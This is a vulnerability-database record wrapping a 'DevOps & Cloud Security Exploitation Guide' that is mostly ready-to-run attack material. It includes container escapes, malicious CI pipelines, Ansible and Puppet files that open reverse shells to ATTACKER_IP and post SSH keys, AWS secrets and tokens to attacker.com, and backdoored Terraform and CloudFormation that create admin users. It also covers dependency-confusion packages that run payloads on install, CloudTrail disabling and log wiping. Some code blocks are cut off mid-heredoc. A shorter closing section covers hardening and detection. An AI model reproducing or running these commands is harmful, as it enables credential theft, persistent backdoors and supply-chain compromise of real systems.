{"uuid": "68c44d7e-306a-403c-b58f-871f59e7426f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-15257", "type": "seen", "source": "https://gist.github.com/bbrk364/190d615cbccc28f899b8d3cadc6422e7", "content": "# DevOps & Cloud Security Exploitation Guide\n\nComprehensive guide to DevOps and cloud security vulnerabilities, privilege escalation techniques, misconfigurations in AWS, Azure, GCP, Kubernetes, Docker, and CI/CD pipelines with exploitation commands and security hardening recommendations.\n\n---\n\n## Container Security Exploitation\n\n### **Docker Privilege Escalation**\n\n**Privileged Container Escape:**\n```bash\n# Check if container is privileged\ncat /proc/self/status | grep CapEff\n\n# If privileged, escape to host\ndocker run --rm -it --privileged ubuntu bash\nmkdir /mnt/host\nmount /dev/sda1 /mnt/host  # Mount host filesystem\n\n# Alternative: Use nsenter\ndocker run --rm -it --privileged --pid=host ubuntu bash\nnsenter --target 1 --mount --uts --ipc --net --pid bash\n\n# Docker socket exploitation\ndocker run -v /var/run/docker.sock:/var/run/docker.sock -it ubuntu bash\n# Inside container:\ndocker run -v /:/mnt -it alpine  # Mount host root\n```\n\n**Docker Group Exploitation:**\n```bash\n# Check if user is in docker group\nid | grep docker\n\n# If in docker group, create container with host mount\ndocker run -v /:/mnt -it alpine\n# Access host files at /mnt\n\n# Alternative: Create privileged container\ndocker run --rm -it --privileged nginx bash\n```\n\n**Docker API Exploitation:**\n```bash\n# If Docker API is exposed (port 2375/2376)\ncurl http://192.168.1.100:2375/version\n\n# Create container with host mount\ncurl -X POST -H \"Content-Type: application/json\" \\\n  -d '{\"Image\":\"alpine\",\"Cmd\":[\"sh\"],\"HostConfig\":{\"Binds\":[\"/:/mnt\"]}}' \\\n  http://192.168.1.100:2375/containers/create\n\n# Start container\ncurl -X POST http://192.168.1.100:2375/containers//start\n```\n\n### **Kubernetes Security Exploitation**\n\n**RBAC Misconfiguration:**\n```bash\n# List all permissions for current user\nkubectl auth can-i --list\n\n# Check for wildcard permissions\nkubectl get clusterrolebindings -o wide\nkubectl get rolebindings --all-namespaces -o wide\n\n# Exploit misconfigured RBAC\n# If user can create pods with privileged containers\ncat <\" https://:6443/api/v1/namespaces\n\n# If service account has cluster-admin privileges\nkubectl create clusterrolebinding root-cluster-admin-binding \\\n  --clusterrole=cluster-admin --serviceaccount=default:default\n```\n\n**Privilege Escalation via Pod Creation:**\n```bash\n# Create pod with host PID namespace\ncat < Dockerfile << EOF\nFROM alpine\nCOPY exploit /exploit\nRUN chmod +x /exploit\nCMD [\"/exploit\"]\nEOF\n\n# Build and run\ndocker build -t malicious .\ndocker run --rm malicious\n```\n\n**Containerd Exploit (CVE-2020-15257):**\n```bash\n# Exploit containerd-shim API\n# Check if containerd-shim is accessible\nls -la /run/containerd/s/*\n\n# Create malicious container that mounts host\ndocker run --rm -it \\\n  -v /run/containerd/s/1234567890:/tmp/shim \\\n  -v /:/host alpine\n```\n\n---\n\n## CI/CD Pipeline Exploitation\n\n### **Jenkins Security Vulnerabilities**\n\n**Unauthenticated Access:**\n```bash\n# Check if Jenkins is exposed without authentication\ncurl http://jenkins-server:8080/\n\n# If unauthenticated, access Jenkins scripts\ncurl http://jenkins-server:8080/script\ncurl http://jenkins-server:8080/computer/(master)/scripts\n\n# Execute Groovy script\ncurl -X POST http://jenkins-server:8080/script \\\n  -d \"script=println 'whoami'.execute().text\"\n```\n\n**Jenkins Credential Extraction:**\n```bash\n# If you have Jenkins access, extract credentials\n# Method 1: Through script console\nprintln(hudson.util.Secret.fromString(\"{...}\").getPlainText())\n\n# Method 2: Access credentials.xml\ncurl http://jenkins-server:8080/credentials/store/system/domain/_/api/xml\n\n# Method 3: Using Jenkins CLI\njava -jar jenkins-cli.jar -s http://jenkins-server:8080/ list-credentials system::system::jenkins\n```\n\n**Pipeline Code Injection:**\n```groovy\n// Malicious Jenkinsfile\npipeline {\n    agent any\n    stages {\n        stage('Build') {\n            steps {\n                // Command injection\n                sh 'curl http://attacker.com/shell.sh | bash'\n                \n                // Reverse shell\n                sh 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'\n                \n                // Credential theft\n                sh 'cat ~/.ssh/id_rsa | curl -X POST --data-binary @- http://attacker.com/steal'\n            }\n        }\n    }\n}\n```\n\n### **GitLab Security Issues**\n\n**SSRF in GitLab:**\n```bash\n# Test for SSRF vulnerabilities\n# In issue comments or markdown\n![test](http://169.254.169.254/latest/meta-data/)\n\n# Using webhooks\ncurl -X POST http://gitlab-server/api/v4/projects/1/hooks \\\n  -H \"PRIVATE-TOKEN: \" \\\n  -d \"url=http://169.254.169.254/latest/meta-data/\"\n```\n\n**Pipeline Token Abuse:**\n```yaml\n# .gitlab-ci.yml with malicious commands\nbefore_script:\n  - export AWS_ACCESS_KEY_ID=$(aws configure get aws_access_key_id)\n  - export AWS_SECRET_ACCESS_KEY=$(aws configure get aws_secret_access_key)\n  - curl -X POST --data \"key=$AWS_ACCESS_KEY_ID&secret=$AWS_SECRET_ACCESS_KEY\" http://attacker.com/steal\n\nstages:\n  - build\n  - test\n  - deploy\n\nbuild:\n  stage: build\n  script:\n    - echo \"Building...\"\n    - cat /etc/passwd | curl -X POST --data-binary @- http://attacker.com/passwd\n```\n\n### **GitHub Actions Security**\n\n**Malicious Workflow:**\n```yaml\n# .github/workflows/malicious.yml\nname: Malicious Action\n\non: [push]\n\njobs:\n  build:\n    runs-on: ubuntu-latest\n    steps:\n    - name: Steal Secrets\n      run: |\n        echo \"Stealing secrets...\"\n        echo \"${{ secrets.GITHUB_TOKEN }}\" | curl -X POST --data-binary @- http://attacker.com/token\n        echo \"${{ secrets.AWS_ACCESS_KEY_ID }}\" | curl -X POST --data-binary @- http://attacker.com/aws\n        \n    - name: Reverse Shell\n      run: |\n        bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'\n        \n    - name: Exfiltrate Code\n      run: |\n        tar czf code.tar.gz .\n        curl -X POST --data-binary @code.tar.gz http://attacker.com/exfil\n```\n\n**Self-Hosted Runner Exploitation:**\n```bash\n# If you compromise a self-hosted runner\n# Check runner permissions\nwhoami\nsudo -l\n\n# Check for secrets in environment\nenv | grep -i secret\nenv | grep -i token\nenv | grep -i key\n\n# Access runner files\ncat /etc/passwd\nfind /home -name \"*.pem\" -o -name \"*.key\" -o -name \"*config*\"\n```\n\n---\n\n## Cloud Security Exploitation\n\n### **AWS Security Testing**\n\n**IAM Enumeration:**\n```bash\n# List IAM users\naws iam list-users\n\n# List IAM roles\naws iam list-roles\n\n# List IAM policies\naws iam list-policies\n\n# Get user details\naws iam get-user --user-name target-user\n\n# List user permissions\naws iam list-user-policies --user-name target-user\naws iam list-attached-user-policies --user-name target-user\n```\n\n**IAM Privilege Escalation:**\n```bash\n# Check for CreatePolicyVersion permission\naws iam simulate-principal-policy \\\n  --policy-source-arn arn:aws:iam::ACCOUNT_ID:user/target-user \\\n  --action-names iam:CreatePolicyVersion\n\n# If allowed, create new policy version with admin rights\naws iam create-policy-version \\\n  --policy-arn arn:aws:iam::ACCOUNT_ID:policy/target-policy \\\n  --policy-document file://admin-policy.json \\\n  --set-as-default\n\n# admin-policy.json:\n{\n  \"Version\": \"2012-10-17\",\n  \"Statement\": [\n    {\n      \"Effect\": \"Allow\",\n      \"Action\": \"*\",\n      \"Resource\": \"*\"\n    }\n  ]\n}\n```\n\n**S3 Bucket Enumeration & Exploitation:**\n```bash\n# List all buckets\naws s3 ls\n\n# List objects in bucket\naws s3 ls s3://bucket-name/\n\n# Download all files\naws s3 sync s3://bucket-name/ .\n\n# Check bucket permissions\naws s3api get-bucket-acl --bucket bucket-name\naws s3api get-bucket-policy --bucket bucket-name\n\n# Check for publicly accessible buckets\naws s3api get-public-access-block --bucket bucket-name\n\n# Upload malicious file\naws s3 cp shell.php s3://bucket-name/\n```\n\n**EC2 Instance Metadata Service (IMDS) Exploitation:**\n```bash\n# Access instance metadata (if allowed)\ncurl http://169.254.169.254/latest/meta-data/\ncurl http://169.254.169.254/latest/meta-data/iam/security-credentials/\ncurl http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name\n\n# For IMDSv2 (requires token)\nTOKEN=$(curl -X PUT \"http://169.254.169.254/latest/api/token\" -H \"X-aws-ec2-metadata-token-ttl-seconds: 21600\")\ncurl -H \"X-aws-ec2-metadata-token: $TOKEN\" http://169.254.169.254/latest/meta-data/\n```\n\n**Lambda Function Exploitation:**\n```bash\n# List Lambda functions\naws lambda list-functions\n\n# Get function details\naws lambda get-function --function-name target-function\n\n# Invoke function\naws lambda invoke --function-name target-function output.txt\n\n# Update function code with backdoor\naws lambda update-function-code \\\n  --function-name target-function \\\n  --zip-file fileb://malicious.zip\n```\n\n**CloudTrail Log Evasion:**\n```bash\n# Check if CloudTrail is enabled\naws cloudtrail describe-trails\n\n# Disable CloudTrail logging (if permissions allow)\naws cloudtrail stop-logging --name trail-name\n\n# Delete CloudTrail trail\naws cloudtrail delete-trail --name trail-name\n```\n\n### **Azure Security Testing**\n\n**Azure CLI Enumeration:**\n```bash\n# List subscriptions\naz account list\n\n# List resource groups\naz group list\n\n# List virtual machines\naz vm list\n\n# List storage accounts\naz storage account list\n\n# List key vaults\naz keyvault list\n```\n\n**Managed Identity Exploitation:**\n```bash\n# If on Azure VM with Managed Identity\ncurl 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/' -H Metadata:true\n\n# Use token to access Azure resources\nACCESS_TOKEN=$(curl 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/' -H Metadata:true | jq -r .access_token)\n\n# List resources\ncurl -X GET -H \"Authorization: Bearer $ACCESS_TOKEN\" \\\n  https://management.azure.com/subscriptions/SUBSCRIPTION_ID/resources?api-version=2020-06-01\n```\n\n**Key Vault Access:**\n```bash\n# List secrets in key vault\naz keyvault secret list --vault-name vault-name\n\n# Get secret value\naz keyvault secret show --vault-name vault-name --name secret-name\n\n# Set secret (if permissions allow)\naz keyvault secret set --vault-name vault-name --name backdoor --value \"malicious-data\"\n```\n\n**Storage Account Exploitation:**\n```bash\n# List storage account keys\naz storage account keys list --account-name storage-name --resource-group rg-name\n\n# Access storage container\naz storage container list --account-name storage-name --account-key ACCESS_KEY\n\n# Download blob\naz storage blob download --account-name storage-name --account-key ACCESS_KEY \\\n  --container-name container-name --name blob-name --file downloaded-file\n```\n\n### **Google Cloud Platform (GCP) Security Testing**\n\n**GCP Enumeration:**\n```bash\n# List projects\ngcloud projects list\n\n# List compute instances\ngcloud compute instances list\n\n# List storage buckets\ngsutil ls\n\n# List service accounts\ngcloud iam service-accounts list\n\n# List firewall rules\ngcloud compute firewall-rules list\n```\n\n**Service Account Key Extraction:**\n```bash\n# If on GCE instance with service account\ncurl -H \"Metadata-Flavor: Google\" http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token\n\n# Access token\nACCESS_TOKEN=$(curl -H \"Metadata-Flavor: Google\" http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token | jq -r .access_token)\n\n# Use token to access GCP APIs\ncurl -H \"Authorization: Bearer $ACCESS_TOKEN\" \\\n  https://www.googleapis.com/compute/v1/projects/PROJECT_ID/zones\n```\n\n**Cloud Storage Bucket Enumeration:**\n```bash\n# List all buckets\ngsutil ls\n\n# List objects in bucket\ngsutil ls gs://bucket-name/\n\n# Download object\ngsutil cp gs://bucket-name/object-name .\n\n# Check bucket permissions\ngsutil iam get gs://bucket-name\n\n# Check if bucket is publicly accessible\ngsutil acl get gs://bucket-name\n```\n\n**Cloud Functions Exploitation:**\n```bash\n# List functions\ngcloud functions list\n\n# Get function details\ngcloud functions describe function-name\n\n# Deploy malicious function\ngcloud functions deploy backdoor \\\n  --runtime python37 \\\n  --trigger-http \\\n  --allow-unauthenticated \\\n  --source=./malicious-code\n```\n\n---\n\n## Infrastructure as Code (IaC) Security\n\n### **Terraform Misconfigurations**\n\n**Terraform State File Access:**\n```bash\n# If you find terraform.tfstate file\ncat terraform.tfstate | jq '.resources[] | select(.type==\"aws_instance\")'\ncat terraform.tfstate | jq '.resources[] | select(.type==\"aws_iam_user\")'\n\n# Extract sensitive data\ncat terraform.tfstate | grep -i \"password\\|secret\\|key\\|token\"\n```\n\n**Malicious Terraform Configuration:**\n```hcl\n# main.tf with backdoor\nresource \"aws_instance\" \"backdoor\" {\n  ami           = \"ami-0c55b159cbfafe1f0\"\n  instance_type = \"t2.micro\"\n  \n  user_data = <<-EOF\n              #!/bin/bash\n              curl http://attacker.com/shell.sh | bash\n              EOF\n}\n\n# Create IAM user with admin access\nresource \"aws_iam_user\" \"attacker\" {\n  name = \"attacker\"\n}\n\nresource \"aws_iam_user_policy_attachment\" \"admin\" {\n  user       = aws_iam_user.attacker.name\n  policy_arn = \"arn:aws:iam::aws:policy/AdministratorAccess\"\n}\n\n# Output credentials\noutput \"access_key\" {\n  value     = aws_iam_access_key.attacker.id\n  sensitive = false\n}\n\noutput \"secret_key\" {\n  value     = aws_iam_access_key.attacker.secret\n  sensitive = false\n}\n```\n\n### **CloudFormation Exploitation**\n\n**Malicious CloudFormation Template:**\n```yaml\nAWSTemplateFormatVersion: '2010-09-09'\nResources:\n  BackdoorInstance:\n    Type: AWS::EC2::Instance\n    Properties:\n      ImageId: ami-0c55b159cbfafe1f0\n      InstanceType: t2.micro\n      UserData:\n        Fn::Base64: |\n          #!/bin/bash\n          curl http://attacker.com/shell.sh | bash\n  \n  AttackerUser:\n    Type: AWS::IAM::User\n  \n  AdminPolicy:\n    Type: AWS::IAM::Policy\n    Properties:\n      PolicyName: AdminAccess\n      PolicyDocument:\n        Version: '2012-10-17'\n        Statement:\n          - Effect: Allow\n            Action: '*'\n            Resource: '*'\n      Users:\n        - Ref: AttackerUser\n  \n  AccessKey:\n    Type: AWS::IAM::AccessKey\n    Properties:\n      UserName: !Ref AttackerUser\n\nOutputs:\n  AccessKeyId:\n    Value: !Ref AccessKey\n  SecretAccessKey:\n    Value: !GetAtt AccessKey.SecretAccessKey\n```\n\n---\n\n## Configuration Management Security\n\n### **Ansible Security Issues**\n\n**Ansible Vault Password Extraction:**\n```bash\n# If you find ansible vault file\nansible-vault view vault.yml\n\n# Try common passwords\nfor pass in $(cat wordlist.txt); do\n  echo $pass | ansible-vault view vault.yml --vault-password-file /dev/stdin 2>/dev/null\n  if [ $? -eq 0 ]; then\n    echo \"Password found: $pass\"\n    break\n  fi\ndone\n```\n\n**Malicious Ansible Playbook:**\n```yaml\n---\n- name: Malicious Playbook\n  hosts: all\n  become: yes\n  tasks:\n    - name: Install backdoor\n      shell: |\n        curl http://attacker.com/backdoor.sh | bash\n        \n    - name: Create reverse shell\n      shell: |\n        bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'\n        \n    - name: Exfiltrate secrets\n      shell: |\n        cat /etc/passwd | curl -X POST --data-binary @- http://attacker.com/passwd\n        cat ~/.ssh/id_rsa | curl -X POST --data-binary @- http://attacker.com/sshkey\n```\n\n### **Puppet Security Exploitation**\n\n**Puppet Master Compromise:**\n```bash\n# If you compromise puppet master\n# List all nodes\npuppet node find --all\n\n# Deploy malicious manifest\ncat > /etc/puppetlabs/code/environments/production/manifests/backdoor.pp << 'EOF'\nnode default {\n  exec { 'backdoor':\n    command => 'curl http://attacker.com/shell.sh | bash',\n    path    => ['/bin', '/usr/bin'],\n  }\n}\nEOF\n\n# Force puppet agents to run\npuppet kick --all\n```\n\n### **Chef Security Issues**\n\n**Chef Server Exploitation:**\n```bash\n# If you compromise chef server\n# List all nodes\nknife node list\n\n# Get node details\nknife node show node-name\n\n# Upload malicious cookbook\nknife cookbook upload backdoor\n\n# Add recipe to node run list\nknife node run_list add node-name \"recipe[backdoor]\"\n```\n\n---\n\n## Network Security in DevOps\n\n### **Service Mesh Security**\n\n**Istio Security Testing:**\n```bash\n# Check Istio configuration\nkubectl get istiooperator -n istio-system\nkubectl get peerauthentication -A\nkubectl get authorizationpolicies -A\n\n# Bypass mTLS if misconfigured\ncurl -k https://service.namespace.svc.cluster.local:443\n\n# If mTLS is disabled, access services directly\ncurl http://service.namespace.svc.cluster.local:80\n```\n\n**Linkerd Security Testing:**\n```bash\n# Check Linkerd configuration\nkubectl get meshpolicies -A\nkubectl get serverauthorizations -A\n\n# Test service access\ncurl http://service.namespace.svc.cluster.local:4140\n```\n\n### **API Gateway Security**\n\n**Kong API Gateway:**\n```bash\n# Check Kong configuration\ncurl http://kong-admin:8001/\n\n# List all routes\ncurl http://kong-admin:8001/routes\n\n# Check for exposed admin interface\ncurl http://kong:8000/\n```\n\n**NGINX Ingress Controller:**\n```bash\n# Get ingress configurations\nkubectl get ingress -A\n\n# Check for misconfigurations\nkubectl get ingress -o yaml | grep -i \"host\\|path\\|service\"\n\n# Test path traversal\ncurl http://ingress/service/../../etc/passwd\n```\n\n---\n\n## Monitoring & Logging Security\n\n### **Log Injection & Evasion**\n\n**Log Injection Attacks:**\n```bash\n# Inject malicious content into logs\necho \"User logged in: admin'; DROP TABLE users; --\" >> /var/log/auth.log\n\n# Obfuscate commands in logs\n# Use encoded commands\n$(echo -n \"whoami\" | base64) | base64 -d | bash\n\n# Use character substitution\nw$(echo h)o$(echo a)m$(echo i)\n\n# Use environment variables\n${PATH:0:1}${PATH:4:1}${PATH:4:1}${PATH:11:1}\n```\n\n**Log Evasion Techniques:**\n```bash\n# Delete specific log entries\nsed -i '/ATTACKER_IP/d' /var/log/auth.log\n\n# Clear entire log\n> /var/log/auth.log\n\n# Rotate logs to hide evidence\nlogrotate -f /etc/logrotate.conf\n\n# Disable logging temporarily\nservice rsyslog stop\n```\n\n### **Monitoring System Exploitation**\n\n**Prometheus Security:**\n```bash\n# Check if Prometheus is exposed\ncurl http://prometheus:9090/\n\n# Access metrics\ncurl http://prometheus:9090/api/v1/query?query=up\n\n# If authentication is weak or missing\ncurl http://prometheus:9090/api/v1/targets\n\n# Access configuration\ncurl http://prometheus:9090/api/v1/status/config\n```\n\n**Grafana Security Testing:**\n```bash\n# Check for default credentials\ncurl -X POST http://grafana:3000/login \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"user\":\"admin\",\"password\":\"admin\"}'\n\n# Check for API access\ncurl http://grafana:3000/api/dashboards/db\n\n# If authenticated, create dashboard with malicious panel\ncurl -X POST http://grafana:3000/api/dashboards/db \\\n  -H \"Content-Type: application/json\" \\\n  -H \"Authorization: Bearer \" \\\n  -d @malicious-dashboard.json\n```\n\n---\n\n## Supply Chain Security Attacks\n\n### **Dependency Confusion**\n\n**Malicious Package Upload:**\n```bash\n# Create malicious npm package\nnpm init -y\ncat > index.js << 'EOF'\nconst { exec } = require('child_process');\nexec('curl http://attacker.com/shell.sh | bash');\nEOF\n\n# Publish to public registry\nnpm publish\n\n# Wait for internal build system to download it\n```\n\n**PyPI Package Attack:**\n```python\n# setup.py with malicious code\nfrom setuptools import setup\nimport os\n\n# Execute on install\nos.system('curl http://attacker.com/shell.sh | bash')\n\nsetup(\n    name='internal-package-name',\n    version='999.0.0',  # Higher version than internal\n    packages=[],\n)\n```\n\n### **Container Image Tampering**\n\n**Malicious Docker Image:**\n```dockerfile\nFROM alpine:latest\n\n# Add backdoor\nRUN apk add --no-cache curl\nRUN curl http://attacker.com/backdoor.sh -o /backdoor.sh\nRUN chmod +x /backdoor.sh\nRUN echo \"*/5 * * * * root /backdoor.sh\" >> /etc/crontabs/root\n\n# Original application\nCOPY app /app\nCMD [\"/app/start.sh\"]\n```\n\n**Push to Container Registry:**\n```bash\n# Tag with same name as internal image\ndocker tag malicious-image registry.internal.com/app:latest\n\n# Push to registry\ndocker push registry.internal.com/app:latest\n\n# The next deployment will use the malicious image\n```\n\n---\n\n## Defense & Detection Techniques\n\n### **Security Hardening**\n\n**Container Security:**\n```bash\n# Run container with minimal privileges\ndocker run --read-only --security-opt=no-new-privileges alpine\n\n# Drop all capabilities, add only required\ndocker run --cap-drop=ALL --cap-add=NET_BIND_SERVICE nginx\n\n# Use seccomp profile\ndocker run --security-opt seccomp=default.json alpine\n\n# Use AppArmor profile\ndocker run --security-opt apparmor=docker-default alpine\n```\n\n**Kubernetes Security:**\n```yaml\n# Pod Security Context\napiVersion: v1\nkind: Pod\nmetadata:\n  name: secure-pod\nspec:\n  securityContext:\n    runAsNonRoot: true\n    runAsUser: 1000\n    seccompProfile:\n      type: RuntimeDefault\n  containers:\n  - name: secure-container\n    image: alpine\n    securityContext:\n      allowPrivilegeEscalation: false\n      capabilities:\n        drop:\n        - ALL\n      readOnlyRootFilesystem: true\n```\n\n**AWS Security Hardening:**\n```bash\n# Enable S3 bucket encryption\naws s3api put-bucket-encryption \\\n  --bucket bucket-name \\\n  --server-side-encryption-configuration '{\"Rules\": [{\"ApplyServerSideEncryptionByDefault\": {\"SSEAlgorithm\": \"AES256\"}}]}'\n\n# Enable S3 bucket logging\naws s3api put-bucket-logging \\\n  --bucket bucket-name \\\n  --bucket-logging-status '{\"LoggingEnabled\": {\"TargetBucket\": \"log-bucket\", \"TargetPrefix\": \"logs/\"}}'\n\n# Enable CloudTrail\naws cloudtrail create-trail \\\n  --name security-trail \\\n  --s3-bucket-name log-bucket \\\n  --is-multi-region-trail\n```\n\n### **Detection & Monitoring**\n\n**CloudTrail Monitoring:**\n```sql\n-- CloudTrail query for suspicious activities\nSELECT *\nFROM cloudtrail_logs\nWHERE eventName IN ('CreateUser', 'CreateAccessKey', 'PutRolePolicy', 'AttachUserPolicy')\n  AND userIdentity.type != 'Root'\n  AND eventTime > '2024-01-01T00:00:00Z'\n```\n\n**Kubernetes Audit Logging:**\n```yaml\napiVersion: audit.k8s.io/v1\nkind: Policy\nrules:\n  - level: Metadata\n    resources:\n      - group: \"\"\n        resources: [\"secrets\", \"configmaps\"]\n    namespaces: [\"kube-system\"]\n  - level: RequestResponse\n    resources:\n      - group: \"rbac.authorization.k8s.io\"\n        resources: [\"clusterrolebindings\", \"rolebindings\"]\n```\n\n**Container Runtime Security:**\n```bash\n# Use Falco for runtime security\nfalco -r /etc/falco/falco_rules.yaml\n\n# Monitor for suspicious activities\n- rule: Terminal shell in container\n  desc: A shell was spawned in a container\n  condition: container.id != host and proc.name = bash\n  output: \"Shell spawned in container (user=%user.name container_id=%container.id container_name=%container.name shell=%proc.name parent=%proc.pname cmdline=%proc.cmdline)\"\n  priority: WARNING\n```\n\n---\n\n## Incident Response & Forensics\n\n### **Container Forensics**\n\n**Investigate Compromised Container:**\n```bash\n# Check running containers\ndocker ps -a\n\n# Inspect container\ndocker inspect \n\n# Check container logs\ndocker logs \n\n# Copy files from container\ndocker cp :/path/to/file .\n\n# Check container processes\ndocker top \n\n# Check container network\ndocker exec  netstat -tulpn\n```\n\n**Kubernetes Incident Response:**\n```bash\n# Get all resources\nkubectl get all --all-namespaces\n\n# Check events\nkubectl get events --all-namespaces\n\n# Check pods for compromise\nkubectl describe pod  -n \n\n# Get logs\nkubectl logs  -n \n\n# Check for suspicious service accounts\nkubectl get serviceaccounts --all-namespaces\nkubectl get clusterrolebindings -o wide\n```\n\n### **Cloud Incident Response**\n\n**AWS Compromise Response:**\n```bash\n# List all IAM users and their last activity\naws iam generate-credential-report\naws iam get-credential-report\n\n# Check for unauthorized resources\naws resourcegroupstaggingapi get-resources\n\n# Check CloudTrail for suspicious activity\naws cloudtrail lookup-events --lookup-attributes AttributeKey=EventName,AttributeValue=CreateUser\n\n# Revoke compromised credentials\naws iam update-access-key --user-name compromised-user --access-key-id AKIA... --status Inactive\n```\n\n---\n\n## Quick Reference Commands\n\n### **Most Critical Commands**\n\n```bash\n# Check for misconfigured Docker\ndocker run --rm -it --privileged ubuntu bash\n\n# Check Kubernetes RBAC\nkubectl auth can-i --list\n\n# Check AWS IAM permissions\naws iam simulate-principal-policy --policy-source-arn arn:aws:iam::ACCOUNT_ID:user/user-name --action-names \"*\"\n\n# Check Azure permissions\naz role assignment list --assignee \n\n# Check GCP permissions\ngcloud projects get-iam-policy PROJECT_ID\n```\n\n### **Detection Commands**\n\n```bash\n# Check for running containers\ndocker ps\nkubectl get pods -A\n\n# Check for exposed services\nnetstat -tulpn\nss -tulpn\n\n# Check for suspicious processes\nps aux | grep -E \"(bash|sh|python|perl|curl|wget)\"\n\n# Check for unauthorized users\ncat /etc/passwd\nawk -F: '($3 == 0) {print}' /etc/passwd\n```\n\n### **Remediation Commands**\n\n```bash\n# Stop and remove compromised container\ndocker stop  && docker rm \n\n# Delete compromised pod\nkubectl delete pod  -n \n\n# Revoke AWS credentials\naws iam update-access-key --user-name  --access-key-id  --status Inactive\n\n# Rotate all secrets\nkubectl delete secrets --all -n \n```\n\n---", "creation_timestamp": "2026-08-25T16:24:58.466018Z"}